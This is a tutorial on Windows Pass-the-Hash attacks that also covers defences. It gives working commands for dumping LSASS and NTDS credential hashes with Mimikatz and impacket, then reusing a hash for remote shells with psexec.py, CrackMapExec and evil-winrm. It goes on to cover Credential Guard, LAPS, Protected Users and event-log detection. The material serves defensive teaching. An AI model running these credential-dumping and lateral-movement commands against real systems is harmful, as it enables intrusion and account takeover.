Pass-the-Hash (PtH) is one of the most powerful and widely-used techniques in Windows environments. It allows attackers to authenticate as a user without ever knowing their actual password — just their NTLM hash. Understanding this attack is essential for any Windows administrator or security professional, because it fundamentally changes how you must think about credential security.
How Windows Stores Credentials
# Windows uses NTLM hashes for authentication (legacy compatibility)
# NTLM hash = MD4(UTF-16-LE(password))
# Where hashes are stored:
# 1. SAM database: C:\Windows\System32\config\SAM
# - Local account hashes
# - Encrypted with SYSKEY, accessible as SYSTEM
# 2. LSASS process memory (lsass.exe)
# - Current logged-in users' hashes and tickets
# - Can be dumped with administrative privileges
# 3. NTDS.dit (Domain Controllers only)
# - ALL domain account hashes
# - The ultimate prize for attackers
Dumping Hashes with Mimikatz
# Mimikatz is the most famous Windows credential extraction tool
# (Understanding attacks helps you detect and prevent them)
# Dump credentials from LSASS:
mimikatz.exe
privilege::debug # Request SeDebugPrivilege
sekurlsa::logonpasswords # Dump all credentials from LSASS
# Example output:
# Authentication Id : 0 ; 123456 (00000000:0001e240)
# Session : Interactive from 1
# User Name : Administrator
# Domain : CORP
# Logon Server : DC01
# Logon Time : 1/1/2025 9:00:00 AM
# SID : S-1-5-21-...
# msv :
# [00000003] Primary
# * Username : Administrator
# * Domain : CORP
# * NTLM : 31d6cfe0d16ae931b73c59d7e0c089c0 ← THE HASH
# Also available via impacket (Python):
secretsdump.py DOMAIN/user:password@DC_IP
# Dumps SAM, LSA secrets, and NTDS.dit hashes
Using the Hash to Authenticate
# Pass-the-Hash with Impacket:
# psexec.py with hash instead of password:
psexec.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 DOMAIN/Administrator@TARGET_IP
# Get a shell without knowing the password!
# The NTLM authentication protocol accepts the hash directly
# Other PtH tools:
# CrackMapExec (mass PtH across network):
crackmapexec smb 192.168.1.0/24 -u Administrator -H 31d6cfe0d16ae931b73c59d7e0c089c0
# Tests which machines Administrator hash works on
# Output: SMB 192.168.1.5 [+] CORP\Administrator (Pwn3d!)
# Evil-WinRM (WinRM remote shell):
evil-winrm -i TARGET_IP -u Administrator -H 31d6cfe0d16ae931b73c59d7e0c089c0
Defending Against Pass-the-Hash
# 1. Enable Credential Guard (Windows 10/11 + Server 2016+):
# Moves credential storage into isolated virtualization-based environment
# LSASS memory cannot be read even by administrators!
# Enable via PowerShell:
# Group Policy: Computer Config > Admin Templates > System > Device Guard
# "Turn on Virtualization Based Security" = Enabled
# Registry:
reg add "HKLM\SYSTEM\CurrentControlSet\Control\LSA" /v LsaCfgFlags /t REG_DWORD /d 1
# 0 = disabled, 1 = enabled without lock, 2 = enabled with UEFI lock
# 2. Enable Protected Users security group:
# Members of Protected Users:
# - Cannot use NTLM authentication (must use Kerberos)
# - Credentials not cached
# - No delegation allowed
Add-ADGroupMember -Identity "Protected Users" -Members "Administrator","privileged-user"
# 3. Disable NTLM where possible:
# Group Policy: Computer Config > Windows Settings > Security Settings > Local Policies
# Security Options > "Network security: Restrict NTLM: NTLM authentication in this domain"
# Set to: Deny all
# 4. Unique local administrator passwords (LAPS):
# Microsoft LAPS rotates local admin passwords automatically
# Even if one machine is compromised, hash is unique to that machine
# Deploy LAPS:
# Download: Microsoft Local Administrator Password Solution
# Install on DCs and managed machines
# Policy: Computer Config > Admin Templates > LAPS
# "Enable local admin password management" = Enabled
# 5. Tiered administration model:
# Tier 0: Domain Admins (only log in to DCs and PAWs)
# Tier 1: Server admins
# Tier 2: Workstation admins
# NEVER log in to lower-tier systems with Tier 0 accounts!
# If Tier 0 hash is on a workstation, game over
Detection
# Event ID 4624 with LogonType 3 (network logon) using NTLM:
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4624} |
Where-Object {$_.Message -like "*NTLM*" -and $_.Message -like "*Logon Type:.*3*"} |
Select-Object TimeCreated, Message | Format-List
# Alert on: Admin account authenticating from multiple hosts rapidly
# Alert on: NTLM authentication from accounts in Protected Users group
# (Protected Users should only use Kerberos — NTLM = anomaly)
# Detect Mimikatz execution:
# Event ID 4656 with handle request to lsass.exe from non-system process
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4656} |
Where-Object {$_.Message -like "*lsass*"}
Wrap Up
Pass-the-Hash is a fundamental attack that has worked for 25+ years and remains one of the most common post-exploitation techniques. The defenses are clear: Credential Guard, LAPS, Protected Users group, and a tiered administration model. Implement these controls and you dramatically limit what an attacker can do even after a single machine is compromised.